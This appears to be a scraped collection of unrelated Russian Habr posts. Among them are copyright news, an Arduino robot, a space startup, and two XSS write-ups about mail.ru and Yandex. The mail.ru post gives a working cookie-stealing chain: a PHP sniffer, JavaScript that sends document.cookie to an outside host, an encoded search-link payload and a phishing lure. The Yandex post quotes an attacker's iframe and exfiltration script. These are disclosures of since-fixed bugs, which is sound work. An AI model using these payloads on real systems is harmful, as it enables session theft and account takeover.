Перед тем, как сообщить о баге в Facebook, Шритех протестировал его на Саре Гудин — подруге Цукерберга. В письме в Facebook он описал подробности, отметив, что служба безопасности может не увидеть его пост на странице Гудин, поскольку её профиль открыт только для друзей. Несмотря на прикреплённый скриншот поста, инженер Facebook, назвавшийся Эмракулом, ответил: «Я сожалею, но это не ошибка».
Неудовлетворённый ответом, Шритех решил самостоятельно уведомить Марка Цукерберга о баге, разместив пост на его странице. Через несколько минут инженер Facebook Ола Окелола связался со Шритехом, запросив подробную информацию о баге. Facebook отключил аккаунт Шритеха, по-видимому опасаясь других последствий.
Сейчас аккаунт Шритеха снова активирован, но компания утверждает, что в его изначальном сообщении о баге «было недостаточно технической информации». В письме Шритеху инженер Facebook, назвавшийся Джошуа, написал, что компания «не может заплатить вам за эту уязвимость, потому что ваши действия нарушили наши условия использования сервиса».
Пока по эту сторону Атлантики утихают волны от кораблекрушения, произошедшего в прошлом месяце, в Новом Свете разгорается не менее интересная интрига, связанная с копирайтом, RIAA (этими буквами скоро будут пугать детей), звукозаписью, профессорами и студентами американских вузов. Правда на этот раз никто не пытается доказать свою невиновность, как раз наоборот — подсудимый признает, что он виновен, но дело все-равно обещает стать одним из самых интересных судебных процессов в истории копирайта. Обо всем, впрочем, по-порядку.
Дело Джоэля Тененбаума (Joel Tenenbaum), о котором сегодня пойдет речь, началось в позапрошлом году. Студент университета Бостона — Джо, ничем не отличается от тысяч других учащихся. В том числе и использованием P2P для поиска и скачивания интересной ему музыки. Поэтому история, как ей и положено, начинается вполне классическим образом — штрафом на $3500 в далеком 2003, в ответ на который Джоэль предложил RIAA компенсацию в размере $500. Когда дело дошло до суда, где у Джоэля не оказалось адвоката и 25-и летнему парню пришлось самому отстаивать свои права, он предлагал $5000 но и эта сумма была снова отвергнута.
Судья Нэнси Гертнер (Nancy Gertner), которая вела тяжбу, озаботилась судьбой выпускника и познакомила его с Чарли Нессоном (Charlie Nesson) – профессором права из Гарварда. Именно эта случайность стала переломной в судьбе Тененбаума и, вполне возможно, копирайта в том виде, к которому мы привыкли.
Стоит сказать и пару слов о самом Нессоне, известном так же как «Чарли миллиард долларов» (Billion Dollar Charlie). Этот человек не просто известный юрист и уважаемый профессор, это личность которая делает историю. К примеру, Нессон был одним из юристов, ведущих дело, которое легло в основу книги, а затем и фильма «Гражданский Иск». Поэтому как только Чарли согласился взять дело студента, который обвинялся в нарушении копирайта (распространение музыки), дело сразу же приобрело очень интересный оттенок и интригу. До сих пор разочароваться в ней не пришлось.
Некоторые сомнения были, впрочем, и у профессора. Первым вопросом, который он задал сам себе был: «Как, черт возьми, я собираюсь сделать это? Ведь я не уголовный адвокат». Ответ нашелся очень быстро — судебное дело могло бы стать отличным уроком для студентов Нессона из Гарвардской школы права, у которых, пожалуй, еще никогда не было возможности поучаствовать в суде по столь волнующему всех вопросу. Студенты заперлись в университетской библиотеке, а Нессон назвал все это «сеть, как инструмент изучения». К слову сказать — Чарли был одним из со-основателей Berkman Center for Internet & Society при университете Гарварда десять лет назад, он даже ведет аккаунт в твиттере.
Но вернемся к самому делу. Очевидно, что первым вопросом как для Тененбаума, так и Нессона было то, как заставить органы юстиции обратить внимание на растущую проблему в среде копирайта и, в особенности, колоссальной жадности RIAA? Сейчас мы знаем, что The Pirate Bay не спасла т.н. «защита кинг-конга» (которая была очень громкой, иначе каждый второй не узнал бы ничего об этом деле). Знает это и Чарли Нессон, который избрал несколько другой путь ведения судебного дела, который сам он называет «радикальная прозрачность». Такой «прозрачности», граничащей с наглостью, не ожидал ни один из адвокатов RIAA, которые при виде Нессона начинают лаять как дворовые собаки.
Этому есть вполне адекватная причина — Нессон вовсю забавляется с представителями обвиняющей стороны, заполняет бланки официальных извинений, подает прошение на вебкастинг каждого заседания суда (по этому пункту отказ уже получен), пугает всех и каждого своим доскональным знанием американского права — с этим ничего не могут поделать даже судьи, ведь они не могут прийти на дело со справочником. А еще это сумасшедшее желание записывать абсолютно все, включая даже обычно конфиденциальные звонки адвокатов, что больше всего раздражает представителей RIAA. Наверное они еще не знают, что каждый (без шуток) документ участвующий в деле заботливо сканируется и выкладывается на специальный портал в сети, созданный студентами Нессона, где они тщательно обрабатывают каждую крупицу информации в надежде на то, что есть законный и конституциональный способ защитить личность от нападок «звукозаписывающих студий».
Все это напоминает чистое сумасшествие если бы не одно «но». Есть ли способ победить безумие? Если бы вы спросили об этом Чарли Нессона, то ответ был бы вполне конкретным. По его мнению, это дело — не попытка защитить самого Джоэля, но призвать народ к открытой дискуссии по вопросу копирайта с 1976 года. И если правительство США обратит свой взор на Нессона, а скорее всего ему придется это сделать, то для звукозаписывающей индустрии в общем, и RIAA в частности, могут наступить интересные времена.
Немаловажно понимать и то, что основная цель этой самой «дискуссии» — не изменение ситуации с исками пользователям P2P (это противозаконно, пока, и ничего поделать с этим нельзя), а уменьшение суммы штрафов, которые RIAA охотно выписывает всем обвиняемым. Так, если первый штраф Джоэля был всего лишь на $3500, то в случае проигрыша дела ему грозит сумма в $150 000 на каждую песню. Фантастическая сумма, практически вынуждающая виновного разориться: максимальный размер штрафа — $1 000 000, эти деньги выплачиваются обычно всю жизнь. Цель Нессона — это «приземлить» размер штрафов, сделать их разумными и адекватными.
Суть в том, что типичный иск «RIAA–частное лицо», являясь гражданским делом, проходит как уголовно наказуемое преступление, право на рассмотрение которого принадлежит только государству. Немаловажен и тот факт, что ни один суд не пытался рассматривать P2P как некоммерческий «fair use» современных технологий. Правительство США, впрочем, все равно отвергло все аргументы Нессона по этому поводу, но это не столь значительно.
Важно то, что Нессон твердо уверен в необходимости общественных дебатов по вопросу копирайта, которые не случатся до тех пор, пока правительство не посчитает нужным вторгнуться в эту область. Но с колоссальным общественным резонансом, который произошел в Европе после суда над «TPB» и всей информацией по делу, доступной благодаря Нессону и его студентам, держатели копирайта, профессора и правительство заинтересованы в том, чтобы диалог состоялся.
Как говорит сам Чарли: «Такой диалог не может состоятся нигде, кроме как в интернете. Акт Копирайта 1976 года даже не признает существование такой вещи, как всемирная паутина, которая уже сейчас изменила жизнь каждого до неузнаваемости». По его мнению, в переработке нуждается вся законодательная база связанная с вопросами держателей авторского права, а в особенности — документ 1998 года (так же называемый «Акт Защиты Микки-Мауса», благодаря которому он не попал в «общественное достояние»).
В то время, пока Джордж Буш младший был президентом, такая инициатива по факту была бы убита на корню. Но сейчас, когда во главе Белого Дома сидит человек что-то да разбирающий в технологиях, а главным прокурором США стала начальница Нессона — Елена Каган (Elena Kagan), бывшая глава Гарвардской школы права, вполне возможно что изменения, к которым так стремятся Нессон и его студенты, найдут себе место в новых законодательных актах.
Остается лишь надеятся на то, что разумность победит жадность. Впрочем, когда дело ведет человек, открыто предлагающий RIAA «принять участие в эротической экскурсии», можно смело верить в то, что нынешнее положение вещей с «пиратством» круто изменится уже в ближайшее время.
По следам ArsTechnica
Не так давно прочитал на Хабре пост, в котором предлагалось посетить бесплатное мероприятие, посвященное вопросам информационной безопасности. Так как мероприятие проходило в моем городе, я решил, что мне нужно непременно туда сходить. Первое занятие было посвящено уязвимостям на сайтах типа XSS. После занятия я решил, что нужно закрепить полученные знания в реальных условиях. Выбрал для себя несколько сайтов, которые относятся к моему городу и начал во все формы пытаться воткнуть свой скрипт. В большинстве случаев скрипт отфильтровывался. Но бывало так, что «алерт» и срабатывал, и появлялось мое сообщение. О найденной уязвимости сообщал администраторам, и они быстро все исправляли.
В один из таких дней проверяя свежую почту на mail.ru мне на глаза попалась форма для поиска писем в почтовом ящике. Изредка я пользовался этим поиском, чтобы найти что-то нужное в куче своих старых писем. Ну, а так как я в последние пару дней вставлял свой «алерт» практически везде куда только можно было, рука рефлекторно потянулась к этой форме поиска. Набрал код своего скрипта и нажал Enter. Каково же было мое удивление, когда на экране я увидел до боли знакомое сообщение…
На лекции Open InfoSec Days докладчик говорил, что программисты довольно скептически относятся к уязвимостям подобного рода, мол «алерт? Ну и что с того? Это не опасно». Если на других сайтах я довольствовался только этим окошком с моим сообщением, то в данном случае я решил пойти дальше и показать, что из такого вот «алерта» может получиться.
Итак, скрипт срабатывает, а значит, есть уязвимость. Следовательно, можно попробовать запустить какой-нибудь другой скрипт. Например, скрипт, который передает cookies другого пользователя нам. Чтобы скрипт сработал, нужно заставить пользователя выполнить наш скрипт. Сделать это можно отослав ему письмо с соответствующей ссылкой, после нажатия, на которую произойдет поиск по почтовому ящику и выполнится нужный нам код.
На то, чтобы понять механику уязвимости, потребовалось некоторое время и множество экспериментов. Иногда скрипт срабатывал, иногда отфильтровывался. После некоторых усилий эмпирическим путем было установлено, что скрипт 100% срабатывает только в том случае, если поиск по письмам даст положительный результат. То есть когда пользователь выполняет поиск с нашим скриптом, нужно чтобы хотя бы одно письмо в его почтовом ящике по заданным параметрам нашлось. Устроить это не сложно.
Дальше я занялся ссылкой, которая запустит поиск. Отследил закономерность в адресной строке, по которой выполняется поиск:
Примерно такую ссылку и будем отправлять в письме. Так как наша задача забрать себе чужие cookies, нам понадобится сниффер. Был написан скрипт sniff.php и залит на сторонний хостинг. Код сниффера такой:
<?php
if (isset($_GET['cookie']))
{
$text = "New cookie accept from ". $_SERVER['REMOTE_ADDR'] ." at ". date('l jS \of F Y h:i:s A');
$text .= "\n".str_repeat("=", 22) . "\n" . $_GET['cookie']."\n".str_repeat("=", 22)."\n";
$file = fopen("sniff.txt", "a");
fwrite($file, $text);
fclose($file);
}
?>
Так же вместо «алерта» нужен скрипт, который будет передавать cookies нашему снифферу. Этот скрипт напишем в отдельном файле и будем его подгружать в наш поиск. Создал файл test.js с нужным кодом и залил на хостинг. Код скрипта такой:
img=new Image();
img.src='http://sitename.ru/sniff.php?cookie='+document.cookie;
function F() {
location='http://www.solife.ru';
}
setTimeout(F, 5000);
Что хотелось бы здесь пояснить. Поставим себя на место злоумышленника. Нужно чтобы пользователь кликнул по ссылке. Как его заставить это сделать? Можно пообещать золотые горы и чтобы их получить нужно, проследовать по нашей ссылке на сайт. Но не думаю, что это сработает. Народ уже на такое не ведется (сам постоянно удаляю такие письма, даже не читая). Поэтому будем играть на человеческой жалости, благо она еще существует в природе. Попросим проголосовать на сайте за спасение истребляемых животных. Вначале заберем cookies, а потом переправим пользователя на сайт для голосования. Таймаут для переадресации выставил в 5 секунд, в противном случае cookies просто не успевали передаться снифферу, а пользователя сразу перебрасывало на сайт про животных. Вместо «алерта» использовал следующий скрипт:
Когда со скриптами было покончено, я занялся написанием письма. Придумал примерно следующее содержание:
Получилось довольно цинично, но старался приблизить условия к максимально реальным. В конце письма дописана строчка со скриптом, это чтобы наше письмо нашлось, когда мы сделаем поиск. Чтобы строка не вызывала лишних вопросов закрасил ее белым цветом. Так же в слове «http» поставил «пробел» чтобы строка не распозналась и не преобразовалась в ссылку. Иначе, несмотря на то, что скриптовая строка написана шрифтом белого цвета ссылка бы выделилась синим цветом у адресата, а этого нам не надо. Умный поиск все равно найдет и распознает эту строку, не смотря на пробелы.
Ссылку для поиска использовал следующую:
e.mail.ru/cgi-bin/gosearch?q_folder=0&q_query=%27%3E%3Cscript%20src%3D%27http%3A%2F%2Fsitename.ru%2Ftest.js%27%3E%3C%2Fscript%3E
Для скрипта применил URL кодирование, чтобы ничего не отфильтровалось. Так же для поиска добавил параметр «q_folder=0», это чтобы поиск происходил по папке «Входящие».
Письмо готово, отправляем его. В качестве адресата я использовал свой второй почтовый ящик на этом же сервисе. Смотрим, что пришло на другой ящик.
Наш текст скрипта не видно, так как он сливается с фоном. Нажмем на ссылку и посмотрим, что произойдет. Пользователь перемещается в результаты поиска писем по заданному нами параметру. Наше письмо, которое мы отсылали видно в результатах поиска. В это время наш скрипт уже сработал и отослал cookies пользователя снифферу. Через 5 секунд (время зависит от настроек скрипта) пользователь переправляется на сайт с голосованиями.
Проверяю свой файл sniff.txt:
Так как целью моей не является кража чужих ящиков или получения доступа к ним, на этом повествование закончу. Но теоретически можно подменить свои cookies на чужие и получить доступ к чужому почтовому ящику. В общем если злоумышленник загорится целью, то он найдет применение полученной информации.
Хотелось бы поблагодарить Сергея Белова (BeLove), за его познавательное мероприятие Open InfoSec Days, которое вдохновило меня на поиски уязвимостей на сайтах.
Так же хотелось бы выразить благодарность команде mail.ru, которые закрыли эту уязвимость в считаные минуты.
Всем добра, хабрапользователи. Да, я сделал робота.
Пишу сей пост дабы популяризовать такое течение как «Шаг в будущее» МГТУ им. Н. Э. Баумана, ведь все мы знаем, что на хабрахабре достаточно школьников и тех, кто интересуется современным образованием.
«Шаг в будущее» — это олимпиада для школьников старших классов (10-х и 11-х), умных, готовых заниматься научной деятельностью.
Состоит она из двух этапов:
- работа над проектом и защита его перед комиссией
- написание олимпиады по физике
Исходя из результатов первой части (т. е. сколько балов ты получишь за защиту), участник допускается либо до второго этапа, либо отфильтровывается.
Это был краткий экскурс. Теперь расскажу как непосредственно все этапы проходил я.
Начну с того, что учился я в лицее при МГТУ им. Н. Э. Баумана целых 2 года. Да, нам помогли, но помогли только информацией, что есть такая олимпиада и что с помощью нее можно поступить в университет. Программированием я занимаюсь с 13 лет, и сейчас успешно работаю на одну из компаний.
Первым делом я пошел в кабинет 354 главного учебного корпуса. Там оставил информацию, что я такой-то хочу на такую-то кафедру такого-то факультета. Все просто.
Через месяца 2 надо было уже подавать аннотацию проекта. К этому моменту участнику должны были уже дать контакты научного руководителя, с которым, собственно, участник и занимается проектом (я делал все сам). Я списывался со своим научруком по емейлу, и в конце-концов определился с темой проекта (благодаря хабру). Мы пришли к выводу, что я буду делать робота на основе Arduino, ибо это круто и зрелищно.
Итак, я уже заказал arduino duemilanove на ebay’е и получил его спустя много-много времени благодаря Почте России. Хорошая штука. Попробовал написать программу, которая включает-выключает светодиод. Ну, круто. А что дальше?
Тогда я абсолютно не знал, что дальше делать с этой платой. Путем поисков на ebay’е я нашел колесную платформу mr. basics.
Да, и ее я внезапно получил по почте. Китайская никчемная платформа. В конце-концов у нее стерлись все шестеренки и она стала плохо ездить. Пришлось заказать другую.
Mr. basics я долго и упорно пытался подключить к ардуино через транзисторы, т. к. совсем не хватало силы тока для движения моторчиков (на что меня натолкнул мой научрук, спасибо ему, хоть тут я немного начал понимать схемотехнику). А мощности все равно не хватало. Тогда я нагуглил motor shield для arduino, с помощью которого можно подключать сервоприводы и моторы. Да и к тому же, шилд имеет свой класс для arduino IDE. Мне это очень помогло. Подключить просто, написать код тоже просто. Теперь моторчики заработали.
Для управления моторами нужно было написать свой софт. Я выбрал Qt. Была написана простая программка, где были 4 стрелочки. Нажатием отправлялся массив данных через com-port до самой платы. Массив содержал: направление правого мотора, скорость правого мотора, направление левого мотора, скорость левого мотора.
Все отлично работало через провод. Теперь я начал искать радио-модули. Нашел некие APC 220.
Я заказал их на ebay’е. Китайский продавец уверял меня, что мне хватит одного модуля для управления с компьютера ардуиной. Я был молод и зелен, долго ломался, но поверил его настойчивости. И, внезапно! Надо было, конечно же, два модуля. В общем, на мне нажились. Второй модуль он прислал не тот (да и я его сжег), пришлось мне искать в Москве.
APC 220 очень сложен в подключении, нет никакой документации, я бился неделю только чтобы получилось его подключить.
Далее, мне стало мало, и я решил подключить ультразвуковой дальномер, чтобы:
- определять расстояние до первого препятствия
- автоматически останавливаться перед этим препятствием, дабы не повредить столь дорогую технику.
За информацию по данному модулю и вообще за него самого спасибо Илье Данилову (idanilov.ru). Он мне очень помог с настройкой и подключением.
В итоге, получился вот такой робот, управляемый по радио через PC:
В феврале нужно было представить реферат для защиты, в котором описывались этапы разработки робота. Получилось страниц 20. Его рецензировали и также выставляли балы. В марте уже проходила защита, по итогам которой допускали к олимпиаде по физике. В мае были определены победители и призеры олимпиады. В этом году в МГТУ поступили и призеры, и победители.
Теперь я уже студент кафедры программной инженерии МГТУ им. Н. Э. Баумана. Спасибо за внимание.
Продолжение детектива «Как увели мои деньги с кошелька Яндекса». Часть 3. XSS
Предыдущие части можно найти тут:
Часть 1
Часть 2.1
Часть 2.2
Внимание! Часть неожиданная!
В этой части:
- Freelance.ru
- XSS на Яндекс.Словари
- Flashback
- Ответ от Яндекс.Денег
- Вопросы к Яндексу
Внимание! Никакого PR и АНТИPR в статье не подразумевается!
Freelance.ru
Я, как и многие хабрапользователи иногда поискиваю себе работку на различный сайтах фриланса. Так было и сегодня с утра — встал рано, делать было нечего, вот думал поискать себе работу с напарником. Искал сразу на нескольких сайтах. Увидел одно из предложений на сайте freelance.ru: «Редизайн сайта», да и цена, вроде не плохая: 8000 ру. Дай, думаю открою и погляжу. В задании промелькнуло что-то знакомое, но я как-то пропустил это. Начал смотреть на предложения к работе: все желали выполнить (народ, по ходу дела вообще не читает ничего, тупо предлагает свои услуги) и лишь пару комментариев меня остановили. Один из них гласил:
Когда же ты сдохнешь уже, спамер
Тут я сразу решил вернуться наверх и ткнуть на адрес сайта, указанный в задании: [Внимание! Тыкать на адрес стоит только если вы используете Firefox c NoScript! Почему? Читайте ниже и НЕ тыкайте на ссылку сразу, только после прочтения всей статьи! На всякий случай ссылку изменил по просьбе fstrange и fata1ex] _http://tarandaz.ru. Ткнул. Google Chrome перенес меня на знакомый для меня сайт, однако через пару секунд произошел редирект (так и не понял зачем он так решил сделать). Я увидел пустую страницу…
XSS на Яндекс.Словари
В адресной строке Google Chrome красовался интересный адрес:
http://httpz.ru/nzakazchik.gif?yandexuid=2318214601243884128;%20yp=2145906000.gp.65_084965:103_682149:1:5;%20yandex_gid=43;%20my=YyMCAQAA;%20yandex_mail=my_name;%20Virtual_id=16;%20yandex_login=my_name;%20L=YVdmDX9CAABmCEt8ClVwSn8DYAdBYQAGdy1mWzEVBEAiKClFBR82Pyo+ViQ5AFxTMScSIg4HLz4UJk8DAhIfGg==.1257846938.6157.282848.2cc34301b2ce0d38049606bca0c1f5fc;%20narod_login=my_name;%20Session_id=1257846940.2726.0.38263038.2:208547497:0.62207.1514.047497eb07f8d2e7628d5a62e9bd2bd9;%20yabs-frequency=/2/IE1v08459zvKUW211I6DVcm0WGL1Kjzv08458GIPUG211I7Q07e0WGKXyarw08459oT4UW211ISaq7a0WGKXmUKz0845WVzTUW211I6UZM80WGKXFSTt07W5F000//fGA11G46
Я начал разглядывать его и что я увидел?! Все правильно, переменные, содержащие в себе слова «yandex». Опана! Открываю Firefox с NoScript, перехожу заново по исходной ссылке и NoScript выдает: «Внимание! Предотвращена XSS атака!». «Круто», думаю. Лезу в исходный код основного сайта, вижу там такой тег:
<iframe src='http://slovari.yandex.ru/search.xml?text=&st_translate=sp%22<script>alert()</script>%3CSCRIPT type=text/javascript src=http://httpz.ru/zakazchikgo.js></SCRIPT>"' width='0' height='0' style='display:none'></iframe>
Ну, думаю, ни фига себе! Иду по URL с js-скриптом: там такой код:
location.href = "http://httpz.ru/nzakazchik.gif?" + document.cookie;
Все четко! Воруем cookie, заходим от имени пользователя в его кабинет…
Flashback
Тут я вспоминаю, что до того как у меня украли деньги, я тоже бегал по сайту фриланса и уже тыкался в подобное объявление и тоже проходил по ссылке… Откуда у меня взломали профиль — теперь становится понятным. Как сменили пароль — вопрос интереснее. Как узнали платежный пароль — еще интереснее…
Ответ от Яндекс.Денег
Как только я увидел такую схему, отписался sperans. Она ответила мне, что об этой уязвимости передали разработчикам и в такой схеме увести пароль от Яндекс.Денег нельзя (на момент написания топика уязвимость еще доступна). В принципе, я пробовал различные варианты логина, но получить платежный пароль по такой схеме я так и не смог…
Вопросы к Яндексу
- Каким образом вы «проводили расследование»? Прочитали сообщение и copypaste из инструкции?!
- Почему мне, владельцу аккаунта, не дают никакой информации о том, как сменили мой пароль от аккаунта, с какого ip заходили, пытались ли как-то злоумышленники восстановить мой платежный пароль?
- Были ли попытки ввода неверного платежного пароля?
- Почему платежный пароль НЕ менялся после взлома? (Был изменен только пароль на аккаунт + дополнительный e-mail...)
- Почему эта информация является «СВЕРХКОНФИДЕНЦИАЛЬНОЙ» (да-да, капсом), которая доступна ТОЛЬКО сотрудникам Яндекса и милиции?!
Я понимаю, если бы вы вернули мне деньги — меня бы данные вопросы не особо заботили, но в данном случае ответы мне важны. Так же, как и другим хабрапользователям, я думаю…
Ответы от Яндекса
1. Каким образом вы «проводили расследование»? Прочитали сообщение и copypaste из инструкции?!
— Конечно, не только. Проверили, с какого айпи совершён платёж и куда ушли деньги, а дальше — можно ли их вернуть. Как выясняется, можно ли вернуть — это конфиденциальная информация. Иногда, кстати, очень обидно: за десять минут становится ясно, что дело на 100% для милиции и мы ничего уже сделать не можем — и вот сидим и думаем, сейчас напишем пользователю — он решит, что мы ничего не делали :( а мы просто уже знаем результат.
2. Почему мне, владельцу аккаунта, не дают никакой информации о том, как сменили мой пароль от аккаунта, с какого ip заходили, пытались ли как-то злоумышленники восстановить мой платежный пароль?
— Потому что мы такую информацию не пересылаем по электронной почте. Вам уже в предыдущих топиках это объясняли другие хабровчане.
3. Были ли попытки ввода неверного платежного пароля?
— Это не имеет значения.
4. Почему платежный пароль НЕ менялся после взлома? (Был изменен только пароль на аккаунт + дополнительный e-mail...)
— Это распространённый способ действия. Я не была в голове у злоумышленника, но предполагаю, что он просто не стал заморачиваться. Один пароль на вход поменял -и хватит.
5. Почему эта информация является «СВЕРХКОНФИДЕНЦИАЛЬНОЙ» (да-да, капсом), которая доступна ТОЛЬКО сотрудникам Яндекса и милиции?!
— Вот даже и не знаю, как объяснить, почему информация конфиденциальная. Вот почему ФИО владельца аккаунта конфиденциальная информация? А сумма его последнего платежа за МТС почему конфиденциальная информация, может, там всего 10 рублей, тоже мне секрет?
Если кто-то сможет помочь дальше в раскручивании (в плане помощи понять что происходило после того, как украли cookie) этой ситуации — буду благодарен!
P.S. Из РУВД пока не звонили. Я думаю, я их завтра опережу…
UPD. Яндекс попросил передать, что платежный пароль случае воровства cookie не передается. Хочу заметить, что я такого и не говорил. В топике в 2-х местах сказано что я НЕ знаю как добыли платежный пароль
UPD 2. Как сообщили из Яндекса, уязвимость закрыли.
Следующая часть истории находится здесь: Как увели мои деньги с кошелька Яндекса. Часть 4. Так что там с заявлением?!
Вам снова календарик!
В карман (100×70мм):
pdf, eps, svg или png (1185×831, 300dpi)
На стенку (A4):
pdf, eps, svg или png (3512×2484, 300dpi)
Сделай сам:
Генератор календариков (Python, GPL)
С Новым Годом!
Привет, всем. Это Zelenyikot, хочу рассказать о новости, которая, много значит для меня, и, уверен, привлечет внимание многих хабровчан.
На Хабре с интересом следят за деятельностью частных космических компаний: SpaceX, Virgin Galactic и других. Прогресс не стоит на месте, и вот, частная космонавтика добралась и до России. Представляю отечественного первенца, который полон решимости сделать прибыльным освоение космоса: «Даурия Аэроспейс».
Хабру нравятся публикации о космосе, но традиционно отношение к ним как к «котикам», т.е. к тому, что приятно глазу, радует душу, но не имеет практического применения в жизни. Теперь такое время уходит в прошлое, и у «Даурии» есть предложения, которые могут быть интересны не только желающим сделать карьеру в космической отрасли, но и свободным разработчикам. Близится пора, когда космос сможет стать для Хабра не только интересным, но и прибыльным.
О каждом направлении деятельности компании я еще подробно расскажу, пока краткий ознакомительный обзор.
Компания создана выходцем с Забайкалья Михаилом Кокоричем. Он сделал состояние на розничной торговле и куче других стартапов, но в какой-то момент решил совместить мечту о космосе и стремление делать деньги. Михаил, и два его одноклассника по физико-математической школе Новосибирского госуниверситета, создали «Даурию Аэроспейс». Компания получила имя по историческому названию Забайкалья. Центральный офис размещается в Москве на территории Технопарка Сколково.
В течение одного 2012 года «Даурия» стала международным холдингом, включив в свой состав американскую компанию Canopus и германскую CloudEO. В России компания собрала молодой, но профессиональный коллектив, который позволил начать реализацию первого собственного космического проекта DX-1. Кроме этого в декабре 2012 года компания выиграла госконтракт на производство двух микроспутников для Роскосмоса, и разработку средства размещения аппаратов стандарта CubeSat на российских ракетах-носителях.
Спутник DX-1 – это экспериментальный аппарат, который создается как универсальная малая космическая платформа для размещения различных типов полезных нагрузок. Кроме того, «первенец» нужен для того, чтобы сработался коллектив, наладилась цепь поставщиков и подрядчиков, опробовались технологии и методы работы. Программа управления, написанная для спутника, станет основой для последующих поколений аппаратов. DX-1 полетит с приемником АИС сигналов – будет осуществлять мониторинг судов в Мировом океане. Это первый российский спутник с такой функциональностью. Запуск будет попутный, Роскосмос обещает на декабрь, но есть некоторая вероятность, что перенесут.
Автоматическая идентификационная система (АИС) – это средство обмена навигационной и регистрационной информацией между кораблями по УКВ каналу. Пролетающий спутник ловит эти сигналы, получая данные, из которых можно составить карту расположения судов. На каждом витке информация пересылается на принимающую станцию на Земле. Данные представляют интерес для береговых служб, судовладельцев, транспортных компаний.
Есть еще авиационный АИС, думаю, многие пользовались сервисом, который создан с его помощью: flightradar24.com
Более интересный проект – госконтракт «Кубсат-нано». Сразу надо отметить, что «нано» — это не дань нынешней моде, а международный стандарт классификации космических аппаратов. В применении к спутникам «нано» означает «от 1 до 10 кг». «Кубсат-нано» — это второй опыт Роскосмоса в создании, выведении и эксплуатации космических аппаратов стандарта CubeSat.
Роскосмосу «Кубсат-нано» нужен чтобы получить опыт эксплуатации аппарата «заморского» стандарта CubeSat. Для «Даурии» — это амбициозный проект создания аппарата дистанционного зондирования Земли стандарта CubeSat, который решает реальные прикладные задачи. На сегодня в мире запущено уже более сотни кубсатов. И большинство из них – в экспериментальных, образовательных или даже развлекательных целях. Лишь некоторые осуществляют практические задачи, чаще всего связанные с ретрансляцией радиосигналов. «Кубсат-нано» станет первым CubeSat, кто займется профессиональной мультиспектральной съемкой поверхности Земли. Такая информация станет полезной для МЧС, земледельческих и лесных хозяйств. Съемка позволит анализировать растительность, применяя алгоритм HDVI, которым пользуются, к примеру, при обработке данных американских спутников Landsat.
В планах «Даурии Аэроспейс» создание нескольких спутниковых группировок различного назначения: интернет услуг; дистанционного зондирования Земли, в разных диапазонах и разного разрешения; передачи информации в целях межмашинного взаимодействия. Предлагаемые с них услуги должны стать основным источником доходов компании.
Теперь, несколько слов о деле для разработчиков.
Немецкое подразделение «Даурии» занимается созданием облачной программной среды, которая позволит активнее применять спутниковые данные, как в повседневной жизни, так и в бизнесе. Несмотря на то, что сегодня на орбите действуют десятки спутников дистанционного зондирования Земли, можно привести лишь несколько примеров их широкого использования: Яндекс Карты, Google Maps, несколько метеорологических ресурсов и т.п. В своем большинстве спутниковые данные имеют узкоспециальное применение, под конкретные нужды государств или крупных коммерческих заказчиков.
Основа проекта CloudEO в следующем: на серверах аккумулируются все открытые данные со спутников ДЗЗ NASA и ESA, закупаются спутниковые данные с других аппаратов, к ним добавляются результаты работы собственных группировок «Даурии Аэроспейс». Приобретение и обработка платных снимков – занятие не дешевое. Идея CloudEO в том, чтобы сделать дорогие большие снимки более доступными по частям. Условно, если сейчас продается один кадр по $100, то с запуском системы можно продать ту же информацию 100 покупателям по $1.
Информация на серверах CloudEO становится доступной для использования в различных приложениях, разработка которых возможна для каждого. Можно реализовывать любые идеи и монетизировать их по аналогии с AppStore: следить за погодой, проверять чистоту воды на южных курортах или состояние снегового покрытия, на горнолыжных, следить за состоянием полей и прогнозировать урожаи, искать свободную парковку в мегаполисах, наименее загруженные трассы, и многое другое. Возможности будут со временем возрастать, по мере увеличения количества работающих спутников, повышения качества, и, главное, частоты съемки.
На начальном этапе развития сервиса, возможно предоставление грантов от «Даурии Аэроспейс» для разработчиков приложений. Предполагаю это привлечет интерес многих, но прошу сейчас не засыпать вопросами. Я сам до конца не разобрался в CloudEO, да и сервис пока не готов. Как придет время — разберусь и расскажу или приведу специалиста, который расскажет лучше.
В блоге компании на Хабре я буду рассказывать о том, как продвигается работа по созданию космических аппаратов, а когда они полетят – как проходит их работа. Постараюсь привлекать специалистов, которые смогут рассказать больше технических подробностей конструирования, строительства и управления космическими аппаратами, разработки космического ПО.
Вообще коллектив в «Даурии Аэроспейс» просто великолепный. Всего год назад я по черному завидовал сотрудникам NASA JPL, которые сажали на Марс Curiosity, за их азарт, увлечение и безграничный интерес к своей работе. Сегодня я уже не завидую, поскольку сам работаю в таком же увлеченном коллективе, и, черт, мы тоже делаем космос, и это происходит дома, а не за морем!
Ну, и немного о себе.
Спасибо Curiosity за то, что я снова, как ребенок увлекся космосом. То, что я пришел на Хабр, спасибо проекту Марс-Терраформинг и лично Cholgaa, кстати они продолжают работу и ждут любознательных гостей, жадных до Марса. То, что я и «Даурия Аэроспейс» нашли друг друга, спасибо Электро-Л и Kapn614.
Вообще за этот год прошла удивительная цепочка встреч и событий, перевернувшая мою жизнь, и Хабр, сыграл немаловажную роль.
Полгода назад я горел желанием построить из Роскосмоса свой луна-парк NASA, с сайтом и пиарщицами, но не сложилось. Поэтому теперь я из «Даурии» строю свой SpaceX. Компания пока делает только околоземные аппараты, но, я приложу все усилия, чтобы сдвинуть частную межпланетную программу. Есть идеи насчет Луны, а потом и для Марса чего-нибудь придумаю. Звучит самонадеянно и фантастично, но весь мой хабро-год настолько фантастичен, что самому не верится, и я намерен развивать наступление на объективную реальность. Времена меняются, прогресс идет, стоимость технологий падает, и можно говорить о новой волне космической экспансии, в которой каждый может сделать свой вклад.
Иными словами: будущее здесь и каждому, и пусть никто не уйдет обиженным!
P.S. И, да, Zelenyikot, не меняется. У меня куча космических идей и планов не связанных с работой. Осенью начнем реализовывать!
UPD2: Товарищи, зачем вы какаете в карму… Что в этот раз вам не понравилось?? капец…
UPD: Выложенные пароли от админки уже заменены, чтобы не превращать главную в чат:)
НЕ КАЧАЙТЕ ОТТУДА НИЧЕГО ДО ОФИЦИАЛЬНОГО СООБЩЕНИЯ АДМИНОВ!
Пруф-линк — qip.ru/
Скрины 'as is':
В этой статье я расскажу об одном необычном подходе к генерации лабиринтов. Он основан на модели Амари́ нейронной активности коры головного мозга, являющейся непрерывным аналогом нейронных сетей. При определенных условиях она позволяет создавать красивые лабиринты очень сложной формы, подобные тому, что приведен на картинке.
Вас ждет много анализа и немного частных производных. Код прилагается.
Прошу под кат!
Введение
